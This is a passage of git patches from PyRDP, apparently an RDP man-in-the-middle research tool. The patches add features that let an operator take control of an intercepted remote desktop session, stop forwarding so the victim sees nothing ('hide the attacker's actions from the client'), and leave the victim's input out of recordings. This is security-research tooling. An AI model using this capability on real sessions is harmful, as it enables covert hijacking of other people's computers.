self.server = server + self.state = state self.client.createObserver( onPDUReceived = self.onClientPDUReceived, @@ -31,7 +33,9 @@ def __init__(self, client: FastPathLayer, server: FastPathLayer): ) def onClientPDUReceived(self, pdu: FastPathPDU): - self.server.sendPDU(pdu) + if self.state.forwardInput: + self.server.sendPDU(pdu) def onServerPDUReceived(self, pdu: FastPathPDU): - self.client.sendPDU(pdu) \ No newline at end of file + if self.state.forwardOutput: + self.client.sendPDU(pdu) \ No newline at end of file diff --git a/pyrdp/mitm/SlowPathMITM.py b/pyrdp/mitm/SlowPathMITM.py index 0ca532d67..50c9b33d4 100644 --- a/pyrdp/mitm/SlowPathMITM.py +++ b/pyrdp/mitm/SlowPathMITM.py @@ -6,6 +6,7 @@ from pyrdp.enum import CapabilityType, OrderFlag, VirtualChannelCompressionFlag from pyrdp.layer import SlowPathLayer, SlowPathObserver +from pyrdp.mitm.state import RDPMITMState from pyrdp.pdu import Capability, ConfirmActivePDU, DemandActivePDU, SlowPathPDU @@ -14,13 +15,14 @@ class SlowPathMITM: MITM component for the slow-path layer. """ - def __init__(self, client: SlowPathLayer, server: SlowPathLayer): + def __init__(self, client: SlowPathLayer, server: SlowPathLayer, state: RDPMITMState): """ :param client: slow-path layer for the client side :param server: slow-path layer for the server side """ self.client = client self.server = server + self.state = state self.clientObserver = self.client.createObserver( onPDUReceived = self.onClientPDUReceived, @@ -34,11 +36,15 @@ def __init__(self, client: SlowPathLayer, server: SlowPathLayer): def onClientPDUReceived(self, pdu: SlowPathPDU): SlowPathObserver.onPDUReceived(self.clientObserver, pdu) - self.server.sendPDU(pdu) + + if self.state.forwardInput: + self.server.sendPDU(pdu) def onServerPDUReceived(self, pdu: SlowPathPDU): SlowPathObserver.onPDUReceived(self.serverObserver, pdu) - self.client.sendPDU(pdu) + + if self.state.forwardOutput: + self.client.sendPDU(pdu) def onConfirmActive(self, pdu: ConfirmActivePDU): """ diff --git a/pyrdp/mitm/mitm.py b/pyrdp/mitm/mitm.py index ef01dd5dd..de146e37e 100644 --- a/pyrdp/mitm/mitm.py +++ b/pyrdp/mitm/mitm.py @@ -95,7 +95,7 @@ def __init__(self, log: SessionLogger, config: MITMConfig): self.security: SecurityMITM = None """Security MITM component""" - self.slowPath = SlowPathMITM(self.client.slowPath, self.server.slowPath) + self.slowPath = SlowPathMITM(self.client.slowPath, self.server.slowPath, self.state) """Slow-path MITM component""" self.fastPath: FastPathMITM = None @@ -233,8 +233,8 @@ def buildIOChannel(self, client: MCSServerChannel, server: MCSClientChannel): self.server.fastPath.addObserver(RecordingFastPathObserver(self.recorder, PlayerPDUType.FAST_PATH_OUTPUT)) self.security = SecurityMITM(self.client.security, self.server.security, self.getLog("security"), self.config, self.state, self.recorder) - self.fastPath = FastPathMITM(self.client.fastPath, self.server.fastPath) - self.attacker = AttackerMITM(self.server.fastPath, self.player.player, self.log, self.recorder) + self.fastPath = FastPathMITM(self.client.fastPath, self.server.fastPath, self.state) + self.attacker = AttackerMITM(self.server.fastPath, self.player.player, self.log, self.state, self.recorder) LayerChainItem.chain(client, self.client.security, self.client.slowPath) LayerChainItem.chain(server, self.server.security, self.server.slowPath) diff --git a/pyrdp/mitm/state.py b/pyrdp/mitm/state.py index 6d817c541..5d98efa2a 100644 --- a/pyrdp/mitm/state.py +++ b/pyrdp/mitm/state.py @@ -45,6 +45,12 @@ def __init__(self): } """Crypters for the client and server side""" + self.forwardInput = True + """Whether input from the client should be forwarded to the server""" + + self.forwardOutput = True + """Whether output from the server should be forwarded to the client""" + self.securitySettings.addObserver(self.crypters[ParserMode.CLIENT]) self.securitySettings.addObserver(self.crypters[ParserMode.SERVER]) From 73d2f446260522b2ef56eca689bf242fc54a3b8c Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Fri, 29 Mar 2019 14:53:22 -0400 Subject: [PATCH 032/113] Add PDU for changing the forwarding state --- pyrdp/enum/player.py | 1 + pyrdp/parser/player.py | 18 +++++++++++++++--- pyrdp/pdu/__init__.py | 4 ++-- pyrdp/pdu/player.py | 11 +++++++++++ 4 files changed, 29 insertions(+), 5 deletions(-) diff --git a/pyrdp/enum/player.py b/pyrdp/enum/player.py index fb9c93d5d..7da01c62d 100644 --- a/pyrdp/enum/player.py +++ b/pyrdp/enum/player.py @@ -18,6 +18,7 @@ class PlayerPDUType(IntEnum): MOUSE_WHEEL = 10 # Mouse wheel event from the player KEYBOARD = 11 # Keyboard event from the player TEXT = 12 # Text event from the player + FORWARDING_STATE = 13 # Event from the player to change the state of I/O forwarding class MouseButton(IntEnum): diff --git a/pyrdp/parser/player.py b/pyrdp/parser/player.py index e67f61495..6b2d357de 100644 --- a/pyrdp/parser/player.py +++ b/pyrdp/parser/player.py @@ -3,8 +3,8 @@ from pyrdp.core import Int16LE, Uint16LE, Uint64LE, Uint8 from pyrdp.enum import MouseButton, PlayerPDUType from pyrdp.parser.segmentation import SegmentationParser -from pyrdp.pdu import PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, PlayerPDU, \ - PlayerTextPDU +from pyrdp.pdu import PlayerForwardingStatePDU, PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, \ + PlayerMouseWheelPDU, PlayerPDU, PlayerTextPDU class PlayerParser(SegmentationParser): @@ -17,6 +17,7 @@ def __init__(self): PlayerPDUType.MOUSE_WHEEL: self.parseMouseWheel, PlayerPDUType.KEYBOARD: self.parseKeyboard, PlayerPDUType.TEXT: self.parseText, + PlayerPDUType.FORWARDING_STATE: self.parseForwardingState, } self.writers = { @@ -25,6 +26,7 @@ def __init__(self): PlayerPDUType.MOUSE_WHEEL: self.writeMouseWheel, PlayerPDUType.KEYBOARD: self.writeKeyboard, PlayerPDUType.TEXT: self.writeText, + PlayerPDUType.FORWARDING_STATE: self.writeForwardingState, } @@ -124,7 +126,7 @@ def writeKeyboard(self, pdu: PlayerKeyboardPDU, stream: BytesIO): Uint8.pack(int(pdu.extended), stream) - def parseText(self, stream: BytesIO, timestamp: int) -> PlayerTextPDU: + def parseText(self, stream: BytesIO, timestamp: int) -> PlayerTextPDU: length = Uint8.unpack(stream) character = stream.read(length).decode() released = Uint8.unpack(stream) @@ -136,3 +138,13 @@ def writeText(self, pdu: PlayerTextPDU, stream: BytesIO): Uint8.pack(len(encoded), stream) stream.write(encoded) Uint8.pack(int(pdu.released), stream) + + + def parseForwardingState(self, stream: BytesIO, timestamp: int) -> PlayerForwardingStatePDU: + forwardInput = bool(Uint8.unpack(stream)) + forwardOutput = bool(Uint8.unpack(stream)) + return PlayerForwardingStatePDU(timestamp, forwardInput, forwardOutput) + + def writeForwardingState(self, pdu: PlayerForwardingStatePDU, stream: BytesIO): + Uint8.pack(int(pdu.forwardInput), stream) + Uint8.pack(int(pdu.forwardOutput), stream) \ No newline at end of file diff --git a/pyrdp/pdu/__init__.py b/pyrdp/pdu/__init__.py index 5a71c775f..01caad7cd 100644 --- a/pyrdp/pdu/__init__.py +++ b/pyrdp/pdu/__init__.py @@ -9,8 +9,8 @@ MCSChannelJoinRequestPDU, MCSConnectInitialPDU, MCSConnectResponsePDU, MCSDisconnectProviderUltimatumPDU, \ MCSDomainParams, MCSErectDomainRequestPDU, MCSPDU, MCSSendDataIndicationPDU, MCSSendDataRequestPDU from pyrdp.pdu.pdu import PDU -from pyrdp.pdu.player import PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, \ - PlayerPDU, PlayerTextPDU +from pyrdp.pdu.player import PlayerForwardingStatePDU, PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, \ + PlayerMouseWheelPDU, PlayerPDU, PlayerTextPDU from pyrdp.pdu.rdp.bitmap import BitmapUpdateData from pyrdp.pdu.rdp.capability import BitmapCacheHostSupportCapability, BitmapCacheV1Capability, BitmapCacheV2Capability, \ BitmapCapability, BitmapCodec, BitmapCodecsCapability, BrushCapability, Capability, ClientCapsContainer, \ diff --git a/pyrdp/pdu/player.py b/pyrdp/pdu/player.py index d75fccf4c..d5a27a825 100644 --- a/pyrdp/pdu/player.py +++ b/pyrdp/pdu/player.py @@ -79,3 +79,14 @@ def __init__(self, timestamp: int, character: str, released: bool): super().__init__(PlayerPDUType.TEXT, timestamp, b"") self.character = character self.released = released + + +class PlayerForwardingStatePDU(PlayerPDU): + """ + PDU definition for changing the state of I/O forwarding. + """ + + def __init__(self, timestamp: int, forwardInput: bool, forwardOutput: bool): + super().__init__(PlayerPDUType.FORWARDING_STATE, timestamp, b"") + self.forwardInput = forwardInput + self.forwardOutput = forwardOutput \ No newline at end of file From dd2297e1d9b063a428e8ad65d0626c943a5fa924 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Fri, 29 Mar 2019 14:54:39 -0400 Subject: [PATCH 033/113] Handle forwarding state PDUs in AttackerMITM --- pyrdp/mitm/AttackerMITM.py | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/pyrdp/mitm/AttackerMITM.py b/pyrdp/mitm/AttackerMITM.py index 76c549169..8cfd3b15d 100644 --- a/pyrdp/mitm/AttackerMITM.py +++ b/pyrdp/mitm/AttackerMITM.py @@ -10,7 +10,8 @@ from pyrdp.layer import FastPathLayer, PlayerLayer from pyrdp.mitm.state import RDPMITMState from pyrdp.pdu import FastPathInputEvent, FastPathMouseEvent, FastPathPDU, FastPathScanCodeEvent, FastPathUnicodeEvent, \ - PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, PlayerPDU, PlayerTextPDU + PlayerForwardingStatePDU, PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, \ + PlayerPDU, PlayerTextPDU from pyrdp.recording import Recorder @@ -44,6 +45,7 @@ def __init__(self, server: FastPathLayer, attacker: PlayerLayer, log: LoggerAdap PlayerPDUType.MOUSE_WHEEL: self.handleMouseWheel, PlayerPDUType.KEYBOARD: self.handleKeyboard, PlayerPDUType.TEXT: self.handleText, + PlayerPDUType.FORWARDING_STATE: self.handleForwardingState, } @@ -112,4 +114,9 @@ def handleKeyboard(self, pdu: PlayerKeyboardPDU): def handleText(self, pdu: PlayerTextPDU): event = FastPathUnicodeEvent(pdu.character, pdu.released) - self.sendInputEvents([event]) \ No newline at end of file + self.sendInputEvents([event]) + + + def handleForwardingState(self, pdu: PlayerForwardingStatePDU): + self.state.forwardInput = pdu.forwardInput + self.state.forwardOutput = pdu.forwardOutput \ No newline at end of file From f73052d746813205b9e408d581dc980e396e92c8 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Fri, 29 Mar 2019 15:02:51 -0400 Subject: [PATCH 034/113] Disable forwarding when the attacker's widget is in focus --- pyrdp/player/RDPMITMWidget.py | 19 ++++++++++++++++--- 1 file changed, 16 insertions(+), 3 deletions(-) diff --git a/pyrdp/player/RDPMITMWidget.py b/pyrdp/player/RDPMITMWidget.py index 074cad838..d24d46529 100644 --- a/pyrdp/player/RDPMITMWidget.py +++ b/pyrdp/player/RDPMITMWidget.py @@ -5,13 +5,14 @@ from typing import Optional, Union from PySide2.QtCore import QEvent, QObject, Qt -from PySide2.QtGui import QKeyEvent, QMouseEvent, QWheelEvent +from PySide2.QtGui import QFocusEvent, QKeyEvent, QMouseEvent, QWheelEvent from PySide2.QtWidgets import QWidget from pyrdp.enum import MouseButton from pyrdp.layer import PlayerLayer from pyrdp.logging import LOGGER_NAMES -from pyrdp.pdu import PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, PlayerTextPDU +from pyrdp.pdu import PlayerForwardingStatePDU, PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, \ + PlayerMouseWheelPDU, PlayerTextPDU from pyrdp.player import keyboard from pyrdp.player.keyboard import isRightControl from pyrdp.player.Sequencer import Sequencer @@ -166,4 +167,16 @@ def releaseCharacter(character: str): functions.append(release) sequencer = Sequencer(functions) - sequencer.run() \ No newline at end of file + sequencer.run() + + + def focusInEvent(self, event: QFocusEvent): + # Disable event forwarding to hide the attacker's actions from the client + self.setForwardingState(False) + + def focusOutEvent(self, event: QFocusEvent): + # Restore event forwarding once the attacker is done + self.setForwardingState(True) + + def setForwardingState(self, shouldForward: bool): + self.layer.sendPDU(PlayerForwardingStatePDU(self.getTimetamp(), shouldForward, shouldForward)) \ No newline at end of file From 2b1e17e75eba0162baebe0d246497f6d4d06318e Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Fri, 29 Mar 2019 15:09:44 -0400 Subject: [PATCH 035/113] Check if handleEvents is True before handling events --- pyrdp/player/RDPMITMWidget.py | 17 ++++++++++++----- 1 file changed, 12 insertions(+), 5 deletions(-) diff --git a/pyrdp/player/RDPMITMWidget.py b/pyrdp/player/RDPMITMWidget.py index d24d46529..8db8bea7e 100644 --- a/pyrdp/player/RDPMITMWidget.py +++ b/pyrdp/player/RDPMITMWidget.py @@ -52,10 +52,12 @@ def mouseMoveEvent(self, event: QMouseEvent): self.layer.sendPDU(pdu) def mousePressEvent(self, event: QMouseEvent): - self.handleMouseButton(event, True) + if self.handleEvents: + self.handleMouseButton(event, True) def mouseReleaseEvent(self, event: QMouseEvent): - self.handleMouseButton(event, False) + if self.handleEvents: + self.handleMouseButton(event, False) def handleMouseButton(self, event: QMouseEvent, pressed: bool): x, y = self.getMousePosition(event) @@ -75,6 +77,9 @@ def handleMouseButton(self, event: QMouseEvent, pressed: bool): def wheelEvent(self, event: QWheelEvent): + if not self.handleEvents: + return + x, y = self.getMousePosition(event) delta = event.delta() horizontal = event.orientation() == Qt.Orientation.Horizontal @@ -87,7 +92,7 @@ def wheelEvent(self, event: QWheelEvent): # We need this to capture tab key events def eventFilter(self, obj: QObject, event: QEvent) -> bool: - if event.type() == QEvent.KeyPress: + if self.handleEvents and event.type() == QEvent.KeyPress: self.keyPressEvent(event) return True @@ -96,12 +101,14 @@ def eventFilter(self, obj: QObject, event: QEvent) -> bool: def keyPressEvent(self, event: QKeyEvent): if not isRightControl(event): - self.handleKeyEvent(event, False) + if self.handleEvents: + self.handleKeyEvent(event, False) else: self.clearFocus() def keyReleaseEvent(self, event: QKeyEvent): - self.handleKeyEvent(event, True) + if self.handleEvents: + self.handleKeyEvent(event, True) def handleKeyEvent(self, event: QKeyEvent, released: bool): # After some testing, it seems like scan codes on Linux are 8 higher than their Windows version. From 4b1a62d4b72dad58a1117b497cc3be1f7932ecf5 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Fri, 29 Mar 2019 15:20:47 -0400 Subject: [PATCH 036/113] Save BaseTab layout in self.tabLayout field --- pyrdp/player/BaseTab.py | 10 ++++++---- pyrdp/player/ReplayTab.py | 2 +- 2 files changed, 7 insertions(+), 5 deletions(-) diff --git a/pyrdp/player/BaseTab.py b/pyrdp/player/BaseTab.py index 9b0f768c8..316274d46 100644 --- a/pyrdp/player/BaseTab.py +++ b/pyrdp/player/BaseTab.py @@ -3,6 +3,7 @@ # Copyright (C) 2018 GoSecure Inc. # Licensed under the GPLv3 or later. # + import logging from PySide2.QtCore import Qt @@ -34,8 +35,9 @@ def __init__(self, viewer: QRemoteDesktop, parent: QWidget = None): scrollViewer = QScrollArea() scrollViewer.setWidget(self.widget) - layout = QVBoxLayout() - layout.addWidget(scrollViewer, 8) - layout.addWidget(self.text, 2) - self.setLayout(layout) + self.tabLayout = QVBoxLayout() + self.tabLayout.addWidget(scrollViewer, 8) + self.tabLayout.addWidget(self.text, 2) + + self.setLayout(self.tabLayout) diff --git a/pyrdp/player/ReplayTab.py b/pyrdp/player/ReplayTab.py index 624fbeb1b..a64d3e6b4 100644 --- a/pyrdp/player/ReplayTab.py +++ b/pyrdp/player/ReplayTab.py @@ -41,7 +41,7 @@ def __init__(self, fileName: str, parent: QWidget = None): self.controlBar.speedChanged.connect(self.thread.setSpeed) self.controlBar.button.setDefault(True) - self.layout().insertWidget(0, self.controlBar) + self.tabLayout.insertWidget(0, self.controlBar) self.player = PlayerLayer() self.player.addObserver(self.eventHandler) From 760789f6faf480056931dd5e3f869799ce1be518 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Fri, 29 Mar 2019 15:32:04 -0400 Subject: [PATCH 037/113] Add button to take / release control of session --- pyrdp/player/AttackerBar.py | 44 +++++++++++++++++++++++++++++++++++ pyrdp/player/LiveTab.py | 9 +++++-- pyrdp/player/RDPMITMWidget.py | 10 +++----- 3 files changed, 54 insertions(+), 9 deletions(-) create mode 100644 pyrdp/player/AttackerBar.py diff --git a/pyrdp/player/AttackerBar.py b/pyrdp/player/AttackerBar.py new file mode 100644 index 000000000..650080a4b --- /dev/null +++ b/pyrdp/player/AttackerBar.py @@ -0,0 +1,44 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + +import logging + +from PySide2.QtCore import Signal +from PySide2.QtWidgets import QHBoxLayout, QWidget, QSpacerItem, QSizePolicy + +from pyrdp.logging import LOGGER_NAMES +from pyrdp.ui import PlayPauseButton + + +class AttackerBar(QWidget): + """ + Bar that contains widgets for live session actions. + """ + + controlTaken = Signal() + controlReleased = Signal() + + def __init__(self, parent: QWidget = None): + super().__init__(parent) + + self.log = logging.getLogger(LOGGER_NAMES.PLAYER) + + self.attackButton = PlayPauseButton(playText = "Take control", pauseText = "Release control") + self.attackButton.clicked.connect(self.onAttackButtonClicked) + + horizontal = QHBoxLayout() + horizontal.addWidget(self.attackButton) + horizontal.addItem(QSpacerItem(1, 1, QSizePolicy.Expanding, QSizePolicy.Minimum)) + + self.setLayout(horizontal) + + def onAttackButtonClicked(self): + if self.attackButton.playing: + self.log.debug("Attacker has taken control") + self.controlTaken.emit() + else: + self.log.debug("Attacker has released control") + self.controlReleased.emit() diff --git a/pyrdp/player/LiveTab.py b/pyrdp/player/LiveTab.py index e62101b02..5a15b8d64 100644 --- a/pyrdp/player/LiveTab.py +++ b/pyrdp/player/LiveTab.py @@ -5,9 +5,10 @@ # import asyncio -from PySide2.QtCore import Signal, Qt +from PySide2.QtCore import Qt, Signal from PySide2.QtWidgets import QWidget +from pyrdp.player.AttackerBar import AttackerBar from pyrdp.player.BaseTab import BaseTab from pyrdp.player.PlayerHandler import PlayerHandler from pyrdp.player.PlayerLayerSet import AsyncIOPlayerLayerSet @@ -29,9 +30,13 @@ def __init__(self, parent: QWidget = None): self.layers = layers self.rdpWidget = rdpWidget self.eventHandler = PlayerHandler(self.widget, self.text) + self.attackerBar = AttackerBar() + self.attackerBar.controlTaken.connect(lambda: self.rdpWidget.setControlState(True)) + self.attackerBar.controlReleased.connect(lambda: self.rdpWidget.setControlState(False)) + + self.tabLayout.insertWidget(0, self.attackerBar) self.layers.player.addObserver(self.eventHandler) - self.rdpWidget.handleEvents = True def getProtocol(self) -> asyncio.Protocol: return self.layers.tcp diff --git a/pyrdp/player/RDPMITMWidget.py b/pyrdp/player/RDPMITMWidget.py index 8db8bea7e..56df20d26 100644 --- a/pyrdp/player/RDPMITMWidget.py +++ b/pyrdp/player/RDPMITMWidget.py @@ -177,13 +177,9 @@ def releaseCharacter(character: str): sequencer.run() - def focusInEvent(self, event: QFocusEvent): - # Disable event forwarding to hide the attacker's actions from the client - self.setForwardingState(False) - - def focusOutEvent(self, event: QFocusEvent): - # Restore event forwarding once the attacker is done - self.setForwardingState(True) + def setControlState(self, controlled: bool): + self.handleEvents = controlled + self.setForwardingState(not controlled) def setForwardingState(self, shouldForward: bool): self.layer.sendPDU(PlayerForwardingStatePDU(self.getTimetamp(), shouldForward, shouldForward)) \ No newline at end of file From 9ee1bc11b4a3da0e8421fdcdd630f12577fc59d7 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Fri, 29 Mar 2019 16:11:55 -0400 Subject: [PATCH 038/113] Disable recording of client input when forwarding is off --- pyrdp/mitm/AttackerMITM.py | 6 +++--- pyrdp/mitm/MITMRecorder.py | 34 ++++++++++++++++++++++++++++++++++ pyrdp/mitm/mitm.py | 5 +++-- 3 files changed, 40 insertions(+), 5 deletions(-) create mode 100644 pyrdp/mitm/MITMRecorder.py diff --git a/pyrdp/mitm/AttackerMITM.py b/pyrdp/mitm/AttackerMITM.py index 8cfd3b15d..07ab805c6 100644 --- a/pyrdp/mitm/AttackerMITM.py +++ b/pyrdp/mitm/AttackerMITM.py @@ -8,11 +8,11 @@ from pyrdp.enum import FastPathInputType, MouseButton, PlayerPDUType, PointerFlag from pyrdp.layer import FastPathLayer, PlayerLayer +from pyrdp.mitm.MITMRecorder import MITMRecorder from pyrdp.mitm.state import RDPMITMState from pyrdp.pdu import FastPathInputEvent, FastPathMouseEvent, FastPathPDU, FastPathScanCodeEvent, FastPathUnicodeEvent, \ PlayerForwardingStatePDU, PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, \ PlayerPDU, PlayerTextPDU -from pyrdp.recording import Recorder class AttackerMITM: @@ -21,7 +21,7 @@ class AttackerMITM: received to the format expected by RDP. """ - def __init__(self, server: FastPathLayer, attacker: PlayerLayer, log: LoggerAdapter, state: RDPMITMState, recorder: Recorder): + def __init__(self, server: FastPathLayer, attacker: PlayerLayer, log: LoggerAdapter, state: RDPMITMState, recorder: MITMRecorder): """ :param server: fast-path layer for the server side :param attacker: player layer for the attacker side @@ -56,7 +56,7 @@ def onPDUReceived(self, pdu: PlayerPDU): def sendInputEvents(self, events: [FastPathInputEvent]): pdu = FastPathPDU(0, events) - self.recorder.record(pdu, PlayerPDUType.FAST_PATH_INPUT) + self.recorder.record(pdu, PlayerPDUType.FAST_PATH_INPUT, True) self.server.sendPDU(pdu) diff --git a/pyrdp/mitm/MITMRecorder.py b/pyrdp/mitm/MITMRecorder.py new file mode 100644 index 000000000..42d1cc77b --- /dev/null +++ b/pyrdp/mitm/MITMRecorder.py @@ -0,0 +1,34 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + +from typing import List, Optional + +from pyrdp.enum import PlayerPDUType +from pyrdp.layer import LayerChainItem +from pyrdp.mitm.state import RDPMITMState +from pyrdp.pdu import PDU, InputPDU +from pyrdp.recording import Recorder + + +class MITMRecorder(Recorder): + """ + Recorder subclass that avoids recording input events when input forwarding is disabled. + """ + + def __init__(self, transports: List[LayerChainItem], state: RDPMITMState): + super().__init__(transports) + self.state = state + + def record(self, pdu: Optional[PDU], messageType: PlayerPDUType, forceRecording: bool = False): + """ + Record a PDU. The forceRecording param is mostly useful for recording forged PDUs (e.g: input coming from the attacker). + :param pdu: the PDU to record. + :param messageType: the message type. + :param forceRecording: when set to True, records the PDU even if forwarding is disabled. Defaults to False. + """ + + if self.state.forwardInput or forceRecording or (messageType != PlayerPDUType.FAST_PATH_INPUT and not isinstance(pdu, InputPDU)): + super().record(pdu, messageType) \ No newline at end of file diff --git a/pyrdp/mitm/mitm.py b/pyrdp/mitm/mitm.py index de146e37e..e2a80a052 100644 --- a/pyrdp/mitm/mitm.py +++ b/pyrdp/mitm/mitm.py @@ -25,6 +25,7 @@ from pyrdp.mitm.FastPathMITM import FastPathMITM from pyrdp.mitm.layerset import RDPLayerSet from pyrdp.mitm.MCSMITM import MCSMITM +from pyrdp.mitm.MITMRecorder import MITMRecorder from pyrdp.mitm.SecurityMITM import SecurityMITM from pyrdp.mitm.SlowPathMITM import SlowPathMITM from pyrdp.mitm.state import RDPMITMState @@ -32,7 +33,7 @@ from pyrdp.mitm.VirtualChannelMITM import VirtualChannelMITM from pyrdp.mitm.X224MITM import X224MITM from pyrdp.player import TwistedPlayerLayerSet -from pyrdp.recording import FileLayer, Recorder, RecordingFastPathObserver, RecordingSlowPathObserver +from pyrdp.recording import FileLayer, RecordingFastPathObserver, RecordingSlowPathObserver class RDPMITM: @@ -76,7 +77,7 @@ def __init__(self, log: SessionLogger, config: MITMConfig): self.player = TwistedPlayerLayerSet() """Layers on the attacker side""" - self.recorder = Recorder([]) + self.recorder = MITMRecorder([], self.state) """Recorder for this connection""" self.channelMITMs = {} From 40652f4ec3fe905fdebf3d0df15f35d93ea58a20 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Fri, 29 Mar 2019 16:33:20 -0400 Subject: [PATCH 039/113] Add PlayerBitmapPDU --- pyrdp/enum/player.py | 1 + pyrdp/parser/player.py | 37 +++++++++++++++++++++++++++++++++---- pyrdp/pdu/__init__.py | 4 ++-- pyrdp/pdu/player.py | 28 +++++++++++++++++++++++++++- 4 files changed, 63 insertions(+), 7 deletions(-) diff --git a/pyrdp/enum/player.py b/pyrdp/enum/player.py index 7da01c62d..defb3764a 100644 --- a/pyrdp/enum/player.py +++ b/pyrdp/enum/player.py @@ -19,6 +19,7 @@ class PlayerPDUType(IntEnum): KEYBOARD = 11 # Keyboard event from the player TEXT = 12 # Text event from the player FORWARDING_STATE = 13 # Event from the player to change the state of I/O forwarding + BITMAP = 14 # Bitmap event from the player class MouseButton(IntEnum): diff --git a/pyrdp/parser/player.py b/pyrdp/parser/player.py index 6b2d357de..e08c3fdc7 100644 --- a/pyrdp/parser/player.py +++ b/pyrdp/parser/player.py @@ -1,10 +1,10 @@ from io import BytesIO -from pyrdp.core import Int16LE, Uint16LE, Uint64LE, Uint8 +from pyrdp.core import Int16LE, Uint16LE, Uint32LE, Uint64LE, Uint8 from pyrdp.enum import MouseButton, PlayerPDUType from pyrdp.parser.segmentation import SegmentationParser -from pyrdp.pdu import PlayerForwardingStatePDU, PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, \ - PlayerMouseWheelPDU, PlayerPDU, PlayerTextPDU +from pyrdp.pdu import Color, PlayerBitmapPDU, PlayerForwardingStatePDU, PlayerKeyboardPDU, PlayerMouseButtonPDU, \ + PlayerMouseMovePDU, PlayerMouseWheelPDU, PlayerPDU, PlayerTextPDU class PlayerParser(SegmentationParser): @@ -18,6 +18,7 @@ def __init__(self): PlayerPDUType.KEYBOARD: self.parseKeyboard, PlayerPDUType.TEXT: self.parseText, PlayerPDUType.FORWARDING_STATE: self.parseForwardingState, + PlayerPDUType.BITMAP: self.parseBitmap, } self.writers = { @@ -27,6 +28,7 @@ def __init__(self): PlayerPDUType.KEYBOARD: self.writeKeyboard, PlayerPDUType.TEXT: self.writeText, PlayerPDUType.FORWARDING_STATE: self.writeForwardingState, + PlayerPDUType.BITMAP: self.writeBitmap, } @@ -147,4 +149,31 @@ def parseForwardingState(self, stream: BytesIO, timestamp: int) -> PlayerForward def writeForwardingState(self, pdu: PlayerForwardingStatePDU, stream: BytesIO): Uint8.pack(int(pdu.forwardInput), stream) - Uint8.pack(int(pdu.forwardOutput), stream) \ No newline at end of file + Uint8.pack(int(pdu.forwardOutput), stream) + + + def parseColor(self, stream: BytesIO) -> Color: + r = Uint8.unpack(stream) + g = Uint8.unpack(stream) + b = Uint8.unpack(stream) + a = Uint8.unpack(stream) + return Color(r, g, b, a) + + def writeColor(self, color: Color, stream: BytesIO): + Uint8.pack(color.r, stream) + Uint8.pack(color.g, stream) + Uint8.pack(color.b, stream) + Uint8.pack(color.a, stream) + + def parseBitmap(self, stream: BytesIO, timestamp: int) -> PlayerBitmapPDU: + width = Uint32LE.unpack(stream) + height = Uint32LE.unpack(stream) + pixels = [self.parseColor(stream) for _ in range(width * height)] + return PlayerBitmapPDU(timestamp, width, height, pixels) + + def writeBitmap(self, pdu: PlayerBitmapPDU, stream: BytesIO): + Uint32LE.pack(pdu.width, stream) + Uint32LE.pack(pdu.height, stream) + + for color in pdu.pixels: + self.writeColor(color, stream) \ No newline at end of file diff --git a/pyrdp/pdu/__init__.py b/pyrdp/pdu/__init__.py index 01caad7cd..29586cd48 100644 --- a/pyrdp/pdu/__init__.py +++ b/pyrdp/pdu/__init__.py @@ -9,8 +9,8 @@ MCSChannelJoinRequestPDU, MCSConnectInitialPDU, MCSConnectResponsePDU, MCSDisconnectProviderUltimatumPDU, \ MCSDomainParams, MCSErectDomainRequestPDU, MCSPDU, MCSSendDataIndicationPDU, MCSSendDataRequestPDU from pyrdp.pdu.pdu import PDU -from pyrdp.pdu.player import PlayerForwardingStatePDU, PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, \ - PlayerMouseWheelPDU, PlayerPDU, PlayerTextPDU +from pyrdp.pdu.player import Color, PlayerBitmapPDU, PlayerForwardingStatePDU, PlayerKeyboardPDU, PlayerMouseButtonPDU, \ + PlayerMouseMovePDU, PlayerMouseWheelPDU, PlayerPDU, PlayerTextPDU from pyrdp.pdu.rdp.bitmap import BitmapUpdateData from pyrdp.pdu.rdp.capability import BitmapCacheHostSupportCapability, BitmapCacheV1Capability, BitmapCacheV2Capability, \ BitmapCapability, BitmapCodec, BitmapCodecsCapability, BrushCapability, Capability, ClientCapsContainer, \ diff --git a/pyrdp/pdu/player.py b/pyrdp/pdu/player.py index d5a27a825..45a5f6bf7 100644 --- a/pyrdp/pdu/player.py +++ b/pyrdp/pdu/player.py @@ -89,4 +89,30 @@ class PlayerForwardingStatePDU(PlayerPDU): def __init__(self, timestamp: int, forwardInput: bool, forwardOutput: bool): super().__init__(PlayerPDUType.FORWARDING_STATE, timestamp, b"") self.forwardInput = forwardInput - self.forwardOutput = forwardOutput \ No newline at end of file + self.forwardOutput = forwardOutput + + +class Color: + def __init__(self, r: int, g: int, b: int, a: int): + self.r = r + self.g = g + self.b = b + self.a = a + +class PlayerBitmapPDU(PlayerPDU): + """ + PDU definition for bitmap events. + """ + + def __init__(self, timestamp: int, width: int, height: int, pixels: [Color]): + """ + :param timestamp: timestamp. + :param width: bitmap width. + :param height: bitmap height. + 